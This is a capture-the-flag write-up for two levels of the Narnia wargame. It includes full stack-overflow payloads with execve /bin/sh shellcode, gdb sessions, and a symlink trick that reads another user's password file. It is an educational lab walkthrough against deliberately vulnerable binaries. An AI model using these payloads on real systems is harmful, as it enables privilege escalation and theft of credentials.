Level 2
As before, we’re given the source code of the binary:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
The argument to printf is properly formatted so it’s not a format string exploit. We do however notice the blind strcpy into buf, which is 128 bytes long. I guess the first question would be what would happen should the input be longer than that:
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "D"*160')
Segmentation fault
That’s actually good news - it means we probably messed up the stack and overwrote a return address with junk (or \x44\x44\x44\x44 in thise case). Let’s look at this through gdb:
narnia2@narnia:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x0804845d <+0>: push ebp
0x0804845e <+1>: mov ebp,esp
0x08048460 <+3>: and esp,0xfffffff0
0x08048463 <+6>: sub esp,0x90
0x08048469 <+12>: cmp DWORD PTR [ebp+0x8],0x1
0x0804846d <+16>: jne 0x8048490 <main+51>
0x0804846f <+18>: mov eax,DWORD PTR [ebp+0xc]
0x08048472 <+21>: mov eax,DWORD PTR [eax]
0x08048474 <+23>: mov DWORD PTR [esp+0x4],eax
0x08048478 <+27>: mov DWORD PTR [esp],0x8048560
0x0804847f <+34>: call 0x8048310 <printf@plt>
0x08048484 <+39>: mov DWORD PTR [esp],0x1
0x0804848b <+46>: call 0x8048340 <exit@plt>
0x08048490 <+51>: mov eax,DWORD PTR [ebp+0xc]
0x08048493 <+54>: add eax,0x4
0x08048496 <+57>: mov eax,DWORD PTR [eax]
0x08048498 <+59>: mov DWORD PTR [esp+0x4],eax
0x0804849c <+63>: lea eax,[esp+0x10]
0x080484a0 <+67>: mov DWORD PTR [esp],eax
0x080484a3 <+70>: call 0x8048320 <strcpy@plt>
0x080484a8 <+75>: lea eax,[esp+0x10]
0x080484ac <+79>: mov DWORD PTR [esp+0x4],eax
0x080484b0 <+83>: mov DWORD PTR [esp],0x8048574
0x080484b7 <+90>: call 0x8048310 <printf@plt>
0x080484bc <+95>: mov eax,0x0
0x080484c1 <+100>: leave
0x080484c2 <+101>: ret
End of assembler dump.
(gdb) break *0x080484a8
Breakpoint 1 at 0x80484a8
We start with a small input to better understand the stack layout.
(gdb) r $(python -c 'print "D"*16')
Starting program: /narnia/narnia2 ABCD
Breakpoint 1, 0x080484a8 in main ()
(gdb) p 0x90
$1 = 144
(gdb) x/40wx $esp
0xffffd680: 0xffffd690 0xffffd8ed 0x00000000 0x00000000
0xffffd690: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd6a0: 0xffffd700 0xffffd6c8 0xffffd6c0 0x08048249
0xffffd6b0: 0xf7ffd938 0x00000000 0x000000bf 0xf7eb7fe6
0xffffd6c0: 0xffffffff 0xffffd6ee 0xf7e2ec34 0xf7e54fe3
0xffffd6d0: 0x00000000 0x002c307d 0x00000001 0x080482dd
0xffffd6e0: 0xffffd8dd 0x0000002f 0x0804974c 0x08048522
0xffffd6f0: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7e5519d
0xffffd700: 0xf7fcb3c4 0xf7ffd000 0x080484db 0xf7fcb000
0xffffd710: 0x080484d0 0x00000000 0x00000000 0xf7e3bad3
(gdb) info reg ebp
ebp 0xffffd718 0xffffd718
This means the character array buf is located at 0xffffd690. ebp is located at 0xffffd718 meaning the address below it is the caller’s (what called main) return address. Let’s find out what that is and what we need to do to overwrite it.
(gdb) x/bx 0xf7e3bad3
0xf7e3bad3 <__libc_start_main+243>: 0x89
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "D"*140 + "\xaa\xaa\xaa\xaa"')
Breakpoint 1, 0x080484a8 in main ()
(gdb) x/40wx $esp
0xffffd600: 0xffffd610 0xffffd86d 0x00000000 0x00000000
0xffffd610: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd620: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd630: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd640: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd650: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd660: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd670: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd680: 0x44444444 0x44444444 0x44444444 0x44444444
0xffffd690: 0x44444444 0x44444444 0x44444444 0xaaaaaaaa
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
Sorted! We successfully overwrote libc’s address with one of our choosing. This means our payload will look a little like this: <nop sled><shellcode><padding><address pointing to the nop sled>. Without further ado:
(gdb) r $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
Breakpoint 1, 0x080484a8 in main ()
(gdb) x/44wx $esp
0xffffd600: 0xffffd610 0xffffd86d 0x00000000 0x00000000
0xffffd610: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd620: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd630: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd640: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd650: 0xdb31c031 0xb099c931 0x6a80cda4 0x6851580b
0xffffd660: 0x68732f2f 0x69622f68 0x51e3896e 0x8953e289
0xffffd670: 0x4180cde1 0x41414141 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd690: 0x41414141 0x41414141 0x41414141 0xffffd610
0xffffd6a0: 0x00000000 0xffffd734 0xffffd740 0xf7feacca
(gdb) c
Continuing.
process 156 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x80484a8
We can now try that outside of gdb. Note that sometimes the return address won’t match exactly - gdb can set environment variables etc… causing the memory to be a bit off - hence the nop sled. As long as we hit the sled, the nop will lead right to the shellcode.
narnia2@narnia:/narnia$ /narnia/narnia2 $(python -c 'print "\x90"*64 + "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" + "A"*(140-64-35) + "\x10\xd6\xff\xff"')
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
*** password ***
Level 3
This looks a litle different than what we’re used to:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
But notice how the ifile buffer is right nex to the ofile one, and the strcpy is unbounded. With this we get a sense for what we’re supposed to do.
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening /tmp/foo
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ./narnia3 $(python -c 'print "_"*32 + "/tmp/foo"')
error opening ________________________________/tmp/foo
By providing an argument longer than 32 characters, we override the contents of ofile. The tricky bit is to make sure the last part of our input file matches that of our output. So if we output to /tmp/foo, our input must be <something>/tmp/foo.
narnia3@narnia:/narnia$ python -c 'print len("/tmp/symbolic_link_to_narnia4___")'
32
narnia3@narnia:/narnia$ mkdir -p /tmp/symbolic_link_to_narnia4___/tmp/
narnia3@narnia:/narnia$ touch /tmp/foo
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/symbolic_link_to_narnia4___/tmp/foo
narnia3@narnia:/narnia$ ./narnia3 /tmp/symbolic_link_to_narnia4___/tmp/foo
copied contents of /tmp/symbolic_link_to_narnia4___/tmp/foo to a safer place... (/tmp/foo)
narnia3@narnia:/narnia$ cat /tmp/foo
*** password ***
▒▒▒4▒}0,narnia3@narnia:/narnia$
Easy.